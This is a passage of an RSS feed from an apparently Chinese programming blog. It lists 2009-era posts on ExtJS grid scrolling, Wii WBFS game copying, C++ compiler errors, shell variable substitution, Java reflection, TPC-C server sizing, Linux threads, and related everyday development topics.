      <description>一直以来我是用 focusRow的办法,如下:&#xA;var rowIndex = grid.getStore().getCount() - 1; grid.getSelectionModel().selectLastRow(); grid.getView().focusRow(rowIndex); 可是这个办法,有一个问题,就是没有办法,让指定的那条显示在可视区域如下: 指定的那条,不会全部显示出来,这样就会让使用者看不到. 今天终于忍无可忍,决定把这个问题解决,可是在网上找了半天没有更好的办法. 只找到一个viewCongif增加scrolltorow的办法,可是我试了不行. 于是解决自己,研究,把grid的HTML好好的看了一下, 发现,有这么一个DIV的class 是x-grid3-scroller 我下意识觉得这个DIV应该就是那个滚动条的DIV 于是 var srl = Ext.query(&#34;div[class=&#39;x-grid3-scroller&#39;]&#34;)[0]; srl.scrollTop = srl.scrollHeight; 真的可以了.&#xA;功夫不负有心人,写下来与大家共享.</description>
    </item>
    <item>
      <title>13个免费的FLASH资源网站</title>
      <link>https://bchobby.github.io/posts/72348a2bb50f2a7790c42a66ead1dcea/</link>
      <pubDate>Thu, 15 Oct 2009 10:08:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72348a2bb50f2a7790c42a66ead1dcea/</guid>
      <description>1. Flash Files (ffiles) 各种FLASH源文件 2. Flash Components: 免费组件 3.WS-Slideshow&#xA;一个免费的FLASH图片展示&#xA;4. Warm Forest: 5. Free Flash Templates: 模板类 6. Free Flash Template模板类 7. Free Flash Scripts: 8. Free Components免费组件 9. Flash Wanted: 10. Flash Village: 模板类 11. Flashmo: 模板类 12. Flash Filter各种FLASH源文件 13. Flasheezy : flashscope: 转载于:https://www.cnblogs.com/xxcainiao/archive/2009/10/15/1583694.html</description>
    </item>
    <item>
      <title>试验wii上UL的初步结论</title>
      <link>https://bchobby.github.io/posts/2de8eb3b36d56b926721ee8a82530c08/</link>
      <pubDate>Mon, 05 Oct 2009 17:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2de8eb3b36d56b926721ee8a82530c08/</guid>
      <description>鼓捣了好几天。搞懂了一些问题。&#xA;1、关于移动硬格式化的问题。我现在用的这个WBFS的版本还没太搞清楚，GUI部分用了WWBSF2.9（就是图标是小蝴蝶的那个）。不过感觉有 些功能还得通过命令行完成。我的移动硬大小为40G，开始分成1个主分区，一个扩展分区，并且把主分区用WBFS格式化成wbfs系统，然后拷贝游戏。用 WWBFS能看到游戏已经拷贝完成，但连到wii上就不能玩。更倒霉的是，开始为了试验，只拷贝了一个游戏wii sports resort，怎么搞都不成，后来换了别的游戏才发现，这个本来就玩不了（目前为止问题还没解决）。最后把整个移动硬分为一个主分区，然后连接到wii 上，用UL格式化后连到硬盘上拷游戏。凡是分区后用WWBFS的“转化为WBFS”的，都不行。用这种方法做成的wbfs分区，操作以后看起来游戏是拷贝 进去了，但在wii上看不到分区中有内容。也可以在命令行下用WBFS 的 init 命令格式化，不过也存在同样的问题，看来这才是根子。&#xA;2、貌似电脑上的光驱不能读wii游戏光盘。反正我的光驱读不了。用nero、ultraiso都不能把wii光盘搞成正确的iso文件。到目前位 置几次实验都失败了。现在的办法是用UL在wii上把游戏拷贝到移动硬中，然后把移动硬连到电脑上，给wbfs分区分个盘符，比如m，再启动命令行下的 WBFS工具完成后续工作。这里可能WWBFS调用WBFS的功能有问题。当把移动硬中的游戏拷贝回硬盘时总是出错。命令行下就简单了。首先列个目录：&#xA;&amp;gt;wbfs m list&#xA;R64J01 RVL Wii Music&#xA;R3PJ52 Speed Racer&#xA;。。。。。。&#xA;每行一个游戏，前面的是游戏ID（估计是任天堂根据厂商给分的，每个游戏有唯一ID），后面是游戏名字。&#xA;然后就可以选择游戏并且拷贝了（拷贝为wbf文件）。比如拷贝wii music：&#xA;&amp;gt;wbfs m wextract R64J01&#xA;运行结束后，在硬盘WBFS所在目录下生成一个文件“RVL_Wii_Music.wbf&#34;，这个就是Wii Music了。&#xA;3、分区试验&#xA;a、移动硬分成两个分区，1主分区，1扩展分区，都分好盘符但不格式化；&#xA;b、wii上把主分区格式化成wbfs格式；&#xA;c、pc上启动WWBFS，能正确识别分区，但是往wbfs分区拷贝游戏失败，提示成功，但是实际上没拷上；&#xA;d、用WBFS的a命令可以正确拷贝游戏，可以正常运行；&#xA;4、解决sports resort不能玩的问题，按照http://www.91wii.com/thread-15977-1-1.html中“第一类问题”解决方法中的说明就可以了。确实比wii sports好玩多了；&#xA;5、关于几个版本的wbfs工具。现在有这么几个：WBFS（基于字符界面的wbfs管理工具），WWBFS2.9（图形界面的wbfs管理工具2.9版，需要WBFS才能运行，因此，只是个外壳），WBFS Manager 3.0（图形界面的wbfs管理工具3.0版，简称WBFSM，和2.9版不同的是不需要WBFS就能运行，可以从目录中看出来有DLL）。三个工具各有不同。WBFS除了不能操作SD卡，其它的似乎都可以。WBFSM可以操作SD卡，但是不能导出称为wbf文件。三种工具似乎都不能用来将分区格式化为wbfs格式，建议这种操作通过wii上的UL做。所以，所有过程可以以下的步骤进行组合：&#xA;－－用pc将介质（移动硬）分区。已经成功的移动硬分区方案有：1主分区（wbfs格式）＋1扩展分区（fat获ntfs格式）、1主分区（wbfs格式）。SD卡的话，不用在pc上进行分区操作，直接上wii格式化就行；&#xA;－－用wii格式化分区；&#xA;－－在pc上通过WWBFS将游戏的wbf文件拷贝到介质上；&#xA;－－在wii上通过UL将游戏拷贝到介质上；&#xA;－－在pc上用WBFS将介质上的游戏拷贝到硬盘上称为ISO或者wbf文件；&#xA;到目前为止的遗留问题：&#xA;1、还不能用SD卡；&#xA;2、还不能用pc上的光驱拷贝wii光盘上的游戏；&#xA;3、有一个马车的光盘，能玩，但是即使在wii上也不能拷贝到移动硬里，给我来个提示：wbfs panic：malloc tmd，然后死机了；&#xA;4、可能WBFS自己有bug或者和kav2010冲突，有时候WBFS无法正确识别wbfs格式的移动硬，认为是非wbfs格式。但重新插拔下可能就好了；&#xA;5、一个wii play光盘，估计是盘有点儿问题，到70％就停了，所以也没拷下来；</description>
    </item>
    <item>
      <title>error C2556: &#39;void __thiscall......overloaded function differs only by return type from &#39;int __thiscall</title>
      <link>https://bchobby.github.io/posts/67b8fde93643a76cb234ad2eba323a5a/</link>
      <pubDate>Mon, 28 Sep 2009 10:03:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67b8fde93643a76cb234ad2eba323a5a/</guid>
      <description>此错误说明的是： 重载函数仅仅只有返回类型不同 这在c++中是不允许的 所以报出错信息&#xA;其实我并没有要将函数重载&#xA;class a&#xA;{&#xA;void Func(void);&#xA;}&#xA;class b&#xA;{&#xA;friend a::Func(void); // 应为 friend void a::Func(void);&#xA;}&#xA;编译器查找啊a::函数 找到void Func(void) 没有找到完全一样的 ，故而以为要重载这个函数。&#xA;可见，这个void也不是可以随便省略的 否则可能会报错&#xA;还有一个 bool BOOL 如果声明 用bool&#xA;定义用 BOOL 也是会报错的 参考资料： http://hi.baidu.com/nebulas/blog/item/2ee28cfa3a6962284f4aeac0.html</description>
    </item>
    <item>
      <title>SHELL的字符替换</title>
      <link>https://bchobby.github.io/posts/9293808ee2f063761cb106dab5879a6d/</link>
      <pubDate>Thu, 03 Sep 2009 15:43:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9293808ee2f063761cb106dab5879a6d/</guid>
      <description>变量替换：&#xA;一：简单赋值和替换&#xA;a=bcd&#xA;$ echo $a bcd&#xA;$ echo ${a}&#xA;bcd&#xA;二：变量扩充&#xA;除了shell中的meta，其它的[^a-zA-Z0-9_]几乎都可以作单词边界。&#xA;同sed中关于单词边界[^a-zA-Z0-9_]的描述。&#xA;http://bbs.chinaunix.net/forum/24/20040825/393964.html&#xA;这些功能有时候会在程序中有意想不到的作用！&#xA;例如：&#xA;$ a=bcd&#xA;$ echo ${a}.b&#xA;bcd.b&#xA;$ echo $a.php&#xA;bcd.php&#xA;$ echo $a%b&#xA;bcd%b&#xA;$ echo /$a/bc&#xA;/bcd/bc&#xA;对于shell中的meta字符，则backslash。&#xA;$ echo $a/*b&#xA;bcd*b&#xA;三：变量中的变量&#xA;$ a=bcd&#xA;$ b=efg&#xA;$ c=$a$b&#xA;$ echo $c&#xA;bcdefg&#xA;$ d=$c.ghi&#xA;$ echo $d&#xA;bcdefg.ghi&#xA;思考：若变量互相嵌套，会怎样呢?&#xA;四：变量的特异功能&#xA;到网中人的啦！（ps：重写真是没激情啊）&#xA;file=/dir1/dir2/dir3/my.file.txt&#xA;我们可以用 ${ } 分别替换获得不同的值：&#xA;${file#*/}：从变量file的字符串左边开始，删除字符直到第一个“/”：dir1/dir2/dir3/my.file.txt&#xA;${file##*/}：从变量file的字符串左边开始，删除字符直到最后一个“/”：my.file.txt&#xA;${file#*.}：从变量file的字符串左边开始，删除字符直到第一个“.”：file.txt&#xA;${file##*.}：从变量file的字符串左边开始，删除字符直到最后一个“.”：txt</description>
    </item>
    <item>
      <title>都来说说遇到过的考察编程思想的面试题</title>
      <link>https://bchobby.github.io/posts/e004917cb99de789d2f4049fba094c09/</link>
      <pubDate>Wed, 02 Sep 2009 16:55:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e004917cb99de789d2f4049fba094c09/</guid>
      <description> 都来说说遇到过的考察编程思想的面试题吧。欢迎欢迎！ </description>
    </item>
    <item>
      <title>电影</title>
      <link>https://bchobby.github.io/posts/51e9743451d44c9e10ca584546782491/</link>
      <pubDate>Fri, 14 Aug 2009 14:21:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51e9743451d44c9e10ca584546782491/</guid>
      <description>罪恶之城2：2014－8－22&#xA;华尔街之狼&#xA;为奴十二年&#xA;地心引力&#xA;达拉斯买家俱乐部&#xA;蓝色茉莉&#xA;菲利普船长&#xA;菲洛梅娜&#xA;内布拉斯加&#xA;霍比特人2&#xA;冰雪奇缘&#xA;窃听风云&#xA;特种部队&#xA;变形金刚2&#xA;终结者4&#xA;飞屋3d&#xA;暴力街区：终极&#xA;冰河世纪3&#xA;大内密探00狗&#xA;银河系漫游指南&#xA;建国大业&#xA;风声&#xA;麦兜响当当&#xA;2012&#xA;风云2&#xA;十月围城&#xA;刺陵&#xA;阿童木&#xA;大侦探福尔摩斯&#xA;拆弹部队&#xA;nine&#xA;成事在人&#xA;装甲车&#xA;老家伙&#xA;公主和青蛙&#xA;the road&#xA;守法公民&#xA;野兽家园&#xA;美食从天而降&#xA;巴黎&#xA;无耻混蛋&#xA;悬崖上的金鱼姬&#xA;弗莱蒙和希伦特&#xA;投机者&#xA;阿凡达&#xA;大兵小将&#xA;锦衣卫&#xA;月满轩尼诗&#xA;诸神之战&#xA;叶文2&#xA;东风雨&#xA;成事在人&#xA;了不起的狐狸爸爸&#xA;波斯王子&#xA;叶问2&#xA;敢死队&#xA;全程戒备&#xA;怪物3&#xA;夺梦空间&#xA;卑鄙的我</description>
    </item>
    <item>
      <title>java反射机制详解 及 Method.invoke解释</title>
      <link>https://bchobby.github.io/posts/caa0d3b389c027e637039e00b2476672/</link>
      <pubDate>Tue, 21 Jul 2009 09:33:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/caa0d3b389c027e637039e00b2476672/</guid>
      <description>JAVA反射机制&#xA;JAVA反射机制是在运行状态中，对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意一个方法；这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。&#xA;Java反射机制主要提供了以下功能： 在运行时判断任意一个对象所属的类；在运行时构造任意一个类的对象；在运行时判断任意一个类所具有的成员变量和方法；在运行时调用任意一个对象的方法；生成动态代理。&#xA;1. 得到某个对象的属性&#xA;public Object getProperty(Object owner, String fieldName) throws Exception { Class ownerClass = owner.getClass(); Field field = ownerClass.getField(fieldName); Object property = field.get(owner); return property; } Class ownerClass = owner.getClass()：得到该对象的Class。&#xA;Field field = ownerClass.getField(fieldName)：通过Class得到类声明的属性。&#xA;Object property = field.get(owner)：通过对象得到该属性的实例，如果这个属性是非公有的，这里会报IllegalAccessException。&#xA;2. 得到某个类的静态属性&#xA;public Object getStaticProperty(String className, String fieldName) throws Exception { Class ownerClass = Class.forName(className); Field field = ownerClass.getField(fieldName); Object property = field.get(ownerClass); return property; } Class ownerClass = Class.</description>
    </item>
    <item>
      <title>GDI&#43; 将图片背景设为透明</title>
      <link>https://bchobby.github.io/posts/15974125a82d509287e178beb156f006/</link>
      <pubDate>Fri, 17 Jul 2009 09:59:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15974125a82d509287e178beb156f006/</guid>
      <description>ImageAttributes.SetColorKey Method( Color, Color, ColorAdjustType )&#xA;Sets the Color key ( transparency range ) for a specified category.&#xA;Namespace: System.Drawing.Imageing&#xA;Assembly: System.Drawing ( in System.Drawing.dll )&#xA;Syntax:&#xA;Public:&#xA;void SetColorKey(&#xA;Color colorLow,&#xA;Color colorHigh,&#xA;ColorAdjustType type&#xA;)&#xA;示例代码：&#xA;CString str;&#xA;str.Format(_T(&#34;%s&#34;), moveinfo-&amp;gt;picfilepath ); Image image( str );&#xA;ImageAttributes imAtt;&#xA;imAtt.SetColorKey(&#xA;Color( 0, 0, 0),&#xA;Color( 0, 0, 0),&#xA;ColorAdjustTypeBitmap );&#xA;int iwidth,iheight;&#xA;iwidth = image.GetWidth();&#xA;iheight = image.GetHeight(); m_graphics.get()-&amp;gt;DrawImage( &amp;amp;image, Rect(moveinfo-&amp;gt;ptPosition.</description>
    </item>
    <item>
      <title>tpcc　计算实例</title>
      <link>https://bchobby.github.io/posts/3cc6d390d784998ef37e2b3b32114e52/</link>
      <pubDate>Wed, 08 Jul 2009 15:57:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3cc6d390d784998ef37e2b3b32114e52/</guid>
      <description>tpcC值计算方法 计算原则： 以单台服务器性能进行计算，即确保单台服务器工作的时候可以满足系统正常运行的需要；&#xA;假设每天有1万人次来窗口办理业务，每人次办理一项业务。即以每日1万笔前台交易为例进行综合系数的推导：&#xA;1. 假设每月前台交易数（未来5年内的设计指标）为220,000 （有些业务在月初、月末的处理量比较高，按月统计可以平衡此项差异）;&#xA;2. 每日前台交易数=220000/22=10,000 ，即每日 1万笔；&#xA;3. 忙时处理能力：每日交易的80%在4个小时内完成，即10000*80%/4=2000（笔/小时）&#xA;4. 峰值处理能力：2000*2=4000（笔/小时），即峰值处理能力为每小时4000笔，或 67笔/分，假设业务人员同时在线为100人，即每人每分钟处理0.7笔）&#xA;5. 假设每笔交易对应数据库事务数=20，基准TPC指标值对应的比例=8，cpu保留30%的处理能力冗余，计算值与公布值（最优值）的偏差经验值为4 （这几个参数估算的依据不足，更多的是经验值）&#xA;则 tpmC值为：&#xA;tpmC= 67*20*8*4/(1-30%)= 61257&#xA;倒算出 综合系数 = 61257/10000=6.1&#xA;即数据库服务器tpmC= 每日前台交易数 * 6.1 （实际计算值应不高于该值）&#xA;应用服务器的 tpmC = 数据库服务器 tpmC *50% （一般）&#xA;应用服务器的 tpmC = 数据库服务器 tpmC *70% （涉及大量计算的，如社保、税务）&#xA;建议：&#xA;不管是TPC-C还是SPECjbb2000，计算结果都只能作为一个横向比较的参考。在实际应用中，决定系统性能的因素除了硬件、系统软件外，与应用软件的设计也是有很大关系的，此外，基于系统可扩展性的考虑，更多时候也倾向于一次性的采购。&#xA;从长远考虑，以政府信息化主管部门的角度考虑，建立一套评估机制是非常有用的，这其中包括：&#xA;1、 通过对各单位业务系统运行情况的调查，进行历史数据的收集分析，按分类建立基准指标库。收集的信息包括：服务器的配置、并发用户数（每天业务量）、CPU负荷等；&#xA;2、 由厂商定期提供基准值，更新基准指标库；&#xA;有了基准指标库的信息参照，不仅可以用于评估项目建设方案中服务器选型，也可以对各部门进行系统架构设计的优化提供指导。如以下是一些指导原则：&#xA;1、 数据库服务器选型：采购两台相同配置的小型机，进行虚拟分区和并行处理，以提高系统资源的利用率；日后扩容时采取垂直扩展的方式进行升级；&#xA;2、 应用服务器：采用负载均衡的方式提高并发处理能力，一般可配置2台以上，每台的硬件配置完全可以不同，应首先考虑使用旧的数据库服务器（利旧），如需采购新的服务器，应采用水平扩展的方式逐步升级；&#xA;3、 WEB服务器，可以考虑采用刀片服务器，提高扩展性和可管理性。&#xA;参考一：&#xA;金保工程建设中服务器选型建议：&#xA;http://www.molss.gov.cn/gb/zt/2005-12/14/content_98163.htm(中华人民共和国劳动和社会保障部网站)&#xA;参考二：某项目计算实例&#xA;为了方便计算数据库服务器的造型，我们约定：&#xA;&#34; 系统同时在线用户数为1500人（U1）； &#34; 平均每个用户每分钟发出2次业务请求（N1）；</description>
    </item>
    <item>
      <title>Linux下thread编程 (一)</title>
      <link>https://bchobby.github.io/posts/a7c3f703cd961b47e6a905ec40dba445/</link>
      <pubDate>Fri, 26 Jun 2009 13:59:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7c3f703cd961b47e6a905ec40dba445/</guid>
      <description>作者：Sam （甄峰） sam_code@hotmail.com&#xA;Sam前些天在提供一个库给别的公司时，因为不喜欢使用pthread_jion等函数，被人骂为垃圾程序。呵呵，之前因为在写多thread程序时，习惯让每个thread都为detach属性，这样他们就可以自我管理。而不需要再由别人回收资源。呵呵，不说这么多了，把POSIX thread方面的东西记下来吧。&#xA;Linux下thread历史（Old pthread与NPTL）：&#xA;Linux创建之初，并不能真正支持thread. LinuxThreads 项目使用clone()这个系统调用实现对thread的模拟。在_clone本来的意图是创建一个可定义各种配置的对当前进程的拷贝。LinuxThreads项目则利用了这一点，配置了一个与调用进程拥有相同地址空间的拷贝，把它作为一个thread. 所以，常常有人说，linux下面没有进程线程之分，其实就是这个意思。但这个方法也有问题，尤其是在信号处理、调度和进程间同步原语方面都存在问题。另外，这个线程模型也不符合 POSIX 的要求。&#xA;如果要改进LinuxThread. 很明显，需要kernel层的支持。IBM和RedHat分别进行了研究，随着IBM的放弃，RedHat的Native POSIX Thread Library（NPTL）就成唯一的解决方案了。这就是NPTL。&#xA;LinuxThreads 最初的设计相信相关进程之间的上下文切换速度很快，因此每个内核线程足以处理很多相关的用户级线程。这就导致了一对一 线程模型的革命。&#xA;LinuxThreads 设计细节的一些基本理念：&#xA;LinuxThreads 非常出名的一个特性就是管理线程（manager thread）。管理线程可以满足以下要求：&#xA;系统必须能够响应终止信号并杀死整个进程。 以堆栈形式使用的内存回收必须在线程完成之后进行。因此，线程无法自行完成这个过程。 终止线程必须进行等待，这样它们才不会进入僵尸状态。 线程本地数据的回收需要对所有线程进行遍历；这必须由管理线程来进行。 如果主线程需要调用 pthread_exit()，那么这个线程就无法结束。主线程要进入睡眠状态，而管理线程的工作就是在所有线程都被杀死之后来唤醒这个主线程。 为了维护线程本地数据和内存，LinuxThreads 使用了进程地址空间的高位内存（就在堆栈地址之下）。&#xA;原语的同步是使用信号 来实现的。例如，线程会一直阻塞，直到被信号唤醒为止。&#xA;在克隆系统的最初设计之下，LinuxThreads 将每个线程都是作为一个具有惟一进程 ID 的进程实现的。&#xA;终止信号可以杀死所有的线程。LinuxThreads 接收到终止信号之后，管理线程就会使用相同的信号杀死所有其他线程（进程）。&#xA;根据 LinuxThreads 的设计，如果一个异步信号被发送了，那么管理线程就会将这个信号发送给一个线程。如果这个线程现在阻塞了这个信号，那么这个信号也就会被挂起。这是因为管理线程无法将这个信号发送给进程；相反，每个线程都是作为一个进程在执行。线程之间的调度是由内核调度器来处理的。 LinuxThreads 及其局限性&#xA;LinuxThreads 的设计通常都可以很好地工作；但是在压力很大的应用程序中，它的性能、可伸缩性和可用性都会存在问题。下面让我们来看一下 LinuxThreads 设计的一些局限性：&#xA;它使用管理线程来创建线程，并对每个进程所拥有的所有线程进行协调。这增加了创建和销毁线程所需要的开销。&#xA;由于它是围绕一个管理线程来设计的，因此会导致很多的上下文切换的开销，这可能会妨碍系统的可伸缩性和性能。&#xA;由于管理线程只能在一个 CPU 上运行，因此所执行的同步操作在 SMP 或 NUMA 系统上可能会产生可伸缩性的问题。&#xA;由于线程的管理方式，以及每个线程都使用了一个不同的进程 ID，因此 LinuxThreads 与其他与 POSIX 相关的线程库并不兼容。&#xA;信号用来实现同步原语，这会影响操作的响应时间。另外，将信号发送到主进程的概念也并不存在。因此，这并不遵守 POSIX 中处理信号的方法。</description>
    </item>
    <item>
      <title>Visual Studio 2010 C&#43;&#43; 0x</title>
      <link>https://bchobby.github.io/posts/4ea9cc787fd5daab425a94f91b8f1460/</link>
      <pubDate>Mon, 22 Jun 2009 16:07:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ea9cc787fd5daab425a94f91b8f1460/</guid>
      <description>美国AT&amp;amp;T贝尔实验室的本贾尼•斯特劳斯特卢普（Bjarne Stroustrup）博士在20世纪80年代初期发明并实现了C++。随后，在面向对象语言迅速发展的时代背景下，C++以其面向对象的语言特性同时对C语言的良好兼容，并且凭借着接近C语言的效率，C++语言在工业界使用的开发语言中占据了相当大的份额。在以后的发展中，C++不断引入新的内容，标准模板库(STL)和后来的Boost等程序库的出现，泛型程序设计的流行，使得C++牢牢占据了TIOBE编程语言排行榜前三的位置，成为业界最流行的编程语言。&#xA;但是，随着硬件技术的不断发展以及Java，C#等新型语言的不断涌现，C++的发展受到了很大的冲击，在业界的应用范围不断萎缩。就我们要介绍的Visual Studio而言，C++曾经是Visual Studio 6.0中的首席语言，但是在后继版本的Visual Studio中，C++的地位不断下滑，被后来居上的C#抢了风头。很多钟情于C++的程序员不仅发出这样的感叹：“C++老矣，尚能编否？”&#xA;在刚刚发布的2008年12月TIOBE编程语言排行榜中，虽然C++仍旧以微弱的优势位列三甲。但是它于第四名PHP和第五名Visual Basic之间不断缩小的差距，不得不让人担心C++这昔日的状元，是否会终有一日位置不保，迭出三甲之外。&#xA;Position&#xA;Dec 2008 Delta in Position Programming Language Ratings&#xA;Dec 2008 Delta Dec 2007 1 Java 19.367% -0.68% 2 C 16.163% +2.99% 3 C++ 10.893% +3.02% 4 PHP 9.479% +1.09% 5 (Visual) Basic 9.478% -0.74% 6 C# 4.643% +0.65% 7 Python 4.567% -0.13% 8 Perl 3.603% -0.78% 9 JavaScript 3.062% +0.33% 10 Delphi 3.055% +0.38% 表1 TIOBE编程语言排行榜 另外，从各种开发语言最近几年的发展趋势来看，C++近年的发展也不尽如人意。C++所擅长的开发领域不断被其他语言蚕食，所占比例不断缩小。 图1 编程语言大盘指数，C++不断下挫</description>
    </item>
    <item>
      <title>VBA中调用Notes</title>
      <link>https://bchobby.github.io/posts/60ddb3e535f6458fd543eb65de4943a4/</link>
      <pubDate>Sat, 13 Jun 2009 12:58:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60ddb3e535f6458fd543eb65de4943a4/</guid>
      <description>正常情况下，我们都是在Notes中调用office的组件来完成相关功能。这次在一个论坛里看到还有个需求是要在Word中直接调用Notes中的相关操作完成。觉得蛮好奇，回去试了一下，还真的可以。示例如下:&#xA;Sub test()&#xA;&#39;&#xA;&#39; test Macro&#xA;&#39; 成功调用&#xA;&#39; 宏在 2009-5-25 由 创建&#xA;&#39;&#xA;Dim ss As Variant&#xA;Dim db As Variant&#xA;Dim doc As Variant&#xA;Dim itemRTF As Variant&#xA;Set ss = CreateObject(&#34;Lotus.NotesSession&#34;) --产生物件&#xA;If Not ss Is Nothing Then&#xA;Call ss.Initialize(&#34;password&#34;) ---ID的密码&#xA;Set db = ss.GetDatabase(&#34;TEST2/lab&#34;, &#34;ap/test/2070045/test/Test.nsf&#34;)&#xA;---要连的服务器和具体资料库&#xA;If Not db Is Nothing Then&#xA;Set doc = db.Createdocument()&#xA;Call doc.Replaceitemvalue(&#34;Form&#34;, &#34;11&#34;)&#xA;Call doc.Replaceitemvalue(&#34;BBB&#34;, &#34;abc&#34;)&#xA;Call doc.Replaceitemvalue(&#34;ccc&#34;, 3)</description>
    </item>
    <item>
      <title>Esterel语言的一项应用实验</title>
      <link>https://bchobby.github.io/posts/459e6ada660d62f227155de0f5e8f6a5/</link>
      <pubDate>Tue, 09 Jun 2009 16:29:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/459e6ada660d62f227155de0f5e8f6a5/</guid>
      <description>1 引言 本报告介绍关于用Esterel语言开发嵌入式软件的一项实验。&#xA;2 Esterel语言简介 所有以计算机为基础的系统可分为三类：&#xA;l 转换系统：根据输入计算输出，然后结束，如绝大部分的数值计算软件、工资管理软件、编译系统。&#xA;l 交互系统：与外界环境进行不停的交互处理，如操作系统、数据库、互联网。&#xA;l 反应系统（reactive systems）：不停地响应外界环境的激励，它与交互系统的不同之处是前者纯粹是由输入驱动的，其典型例子是过程控制系统、信号处理系统。&#xA;交互系统和反应系统需要并发程序设计。过去认为，一些典型的并发编程语言如CSP、OCCAM、Ada可满足交互系统和反应系统的需要。但是，实际上反应系统与交互系统是有区别的，因此最好有专门针对反应系统的程序设计语言。&#xA;上一世纪的80年代出现的同步语言（Synchronous Language）即是以反应系统为应用领域的一族程序设计语言。&#xA;Esterel语言是同步语言族中的一个成员。它适用于以控制处理为主的反应系统（其它一些同步语言适用于以数据处理为主的反应系统），如：&#xA;l 制造和运输中的实时过程控制&#xA;l 嵌入式系统&#xA;l 通信协议处理&#xA;l 外围设备的驱动程序&#xA;l 硬件粘合逻辑和控制器&#xA;l 人机接口&#xA;用Esterel语言编写的程序可以通过正确性证明的方法来验证。&#xA;3 Esterel语言应用实验 法国Esterel公司提供一个免费的Esterel语言编译和调试工具。笔者利用该工具做了一个实验。&#xA;实验对象是某控制板软件。该软件有65条需求，要完成以下功能：&#xA;a) 控制子系统的通/断以及2个开关的状态记录；&#xA;b) 采样检测外部16路离散开关信号;&#xA;c) 通过串行通讯口向主机报告各种参数及接收控制指令;&#xA;d) 自检测。&#xA;该软件用8031汇编语言编程。源代码行数是5000行（含少量注释行），目标码规模是13.5K字节。&#xA;笔者用Esterel语言和C语言改写了该软件，所实现的功能完全等价，但按Esterel语言的特点重新设计了控制流程。Esterel程序经编译后产生C程序，然后用C51编译工具生成目标码，其规模为27K字节。&#xA;用Esterel语言和C语言写的程序与用汇编语言写的程序相比，源代码的规模减少了50%，目标代码的规模增加了1倍，但仍在目标机容量范围之内。&#xA;根据软件工程的原理，用任何编程语言写一行源代码所化的工作量大体是相同的。因此源代码规模的减少对于开发、维护是有积极意义的。&#xA;该软件用Esterel仿真调试工具进行了调试，但编译连接生成的目标码没有在目标机上实际运行。&#xA;通过这项实验，主要有以下体会：&#xA;a) Esterel语言的并发性使设计人员可集中精力考虑高层的控制流问题，而不需要考虑并发的实现细节；&#xA;b) Esterel语言能检测控制流错误，而传统的编程语言无法检测这种最令开发者头疼的错误；&#xA;c) Esterel语言的仿真调试工具与传统编程语言的符号调试工具有很大差别，前者更容易使用；&#xA;d) Esterel语言的数据处理能力很弱，这是一个突出的局限性。&#xA;后记&#xA;该实验完成于2003年6月。</description>
    </item>
    <item>
      <title>asp 无法添加记录到access数据表中</title>
      <link>https://bchobby.github.io/posts/d567043901f69ab3a4d3bfff595a9266/</link>
      <pubDate>Thu, 04 Jun 2009 12:52:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d567043901f69ab3a4d3bfff595a9266/</guid>
      <description>修改一个asp的项目，发现总是无法添加记录到数据表中，后来才知道是没有将IUSR帐户添加到mdb文件中，使该帐户对mdb文件有读写的权限。</description>
    </item>
    <item>
      <title>Matlab运行时出现提示 too many input arguments问题</title>
      <link>https://bchobby.github.io/posts/00cfe54f4fc3087a9fb83c1266d63337/</link>
      <pubDate>Mon, 04 May 2009 23:57:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00cfe54f4fc3087a9fb83c1266d63337/</guid>
      <description>matlab 有时候经常出现“too many input arguments”错误提示。&#xA;还有就是程序在别人电脑能运行，在另一台电脑就不行。&#xA;经本人研究发现，这些问题大多是因为使用者或者外挂的函数库有与Matlab同名的函数导致。&#xA;只要在path中取消这些函数的路径，Matlab就会正常运行。</description>
    </item>
    <item>
      <title>GA入门：遗传算法原理与应用</title>
      <link>https://bchobby.github.io/posts/e4565e7b9b3f1dbd2841a90bf26f96d1/</link>
      <pubDate>Wed, 29 Apr 2009 14:11:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4565e7b9b3f1dbd2841a90bf26f96d1/</guid>
      <description>非常好的GA入门简介，言简意赅，通俗易懂，让我这个门外汉看了明白了七八十，值得推荐！&#xA;不知道，还有没有GA的资料，麻烦推荐给我，最近要用这个算法。但是很多理论书实在是太厚太难，我就是想求解一个问题，3维几何体上距离最远的两个点。</description>
    </item>
    <item>
      <title>linux与windows互相访问</title>
      <link>https://bchobby.github.io/posts/16601b3be2ff51516b7420431005e4c9/</link>
      <pubDate>Fri, 24 Apr 2009 17:46:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16601b3be2ff51516b7420431005e4c9/</guid>
      <description>我用的是OpenSuse， 共有3个问题：&#xA;1，linux远程访问windows，可以使用suse自带的krdc访问windows，就像windows软件一样方便。还有其他的，比如rdesktop，也可以，不过反正是越来越方便。&#xA;2，windows远程访问linux，可以参考http://blog.cnw.com.cn/index.php/36932/viewspace-6616。&#xA;3，linux挂接windows分区：&#xA;显示硬盘的分区以及各个分区的格式:&#xA;fdisk -l&#xA;把/dev/sda5（第一个扩展分区），其类型是ntfs，mount为Linux的/mnt文件夹&#xA;mount -t ntfs /dev/sda5 /mnt&#xA;相当快，相当酷。&#xA;前两种貌似对我的意义不大，我只对第三种比较关心。</description>
    </item>
    <item>
      <title>在Windwos系统中用Xmanager2.0连接远程AIX系统显示图形界面</title>
      <link>https://bchobby.github.io/posts/73d027893d2f8cbf1e6d71e4faef5aeb/</link>
      <pubDate>Thu, 02 Apr 2009 11:15:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73d027893d2f8cbf1e6d71e4faef5aeb/</guid>
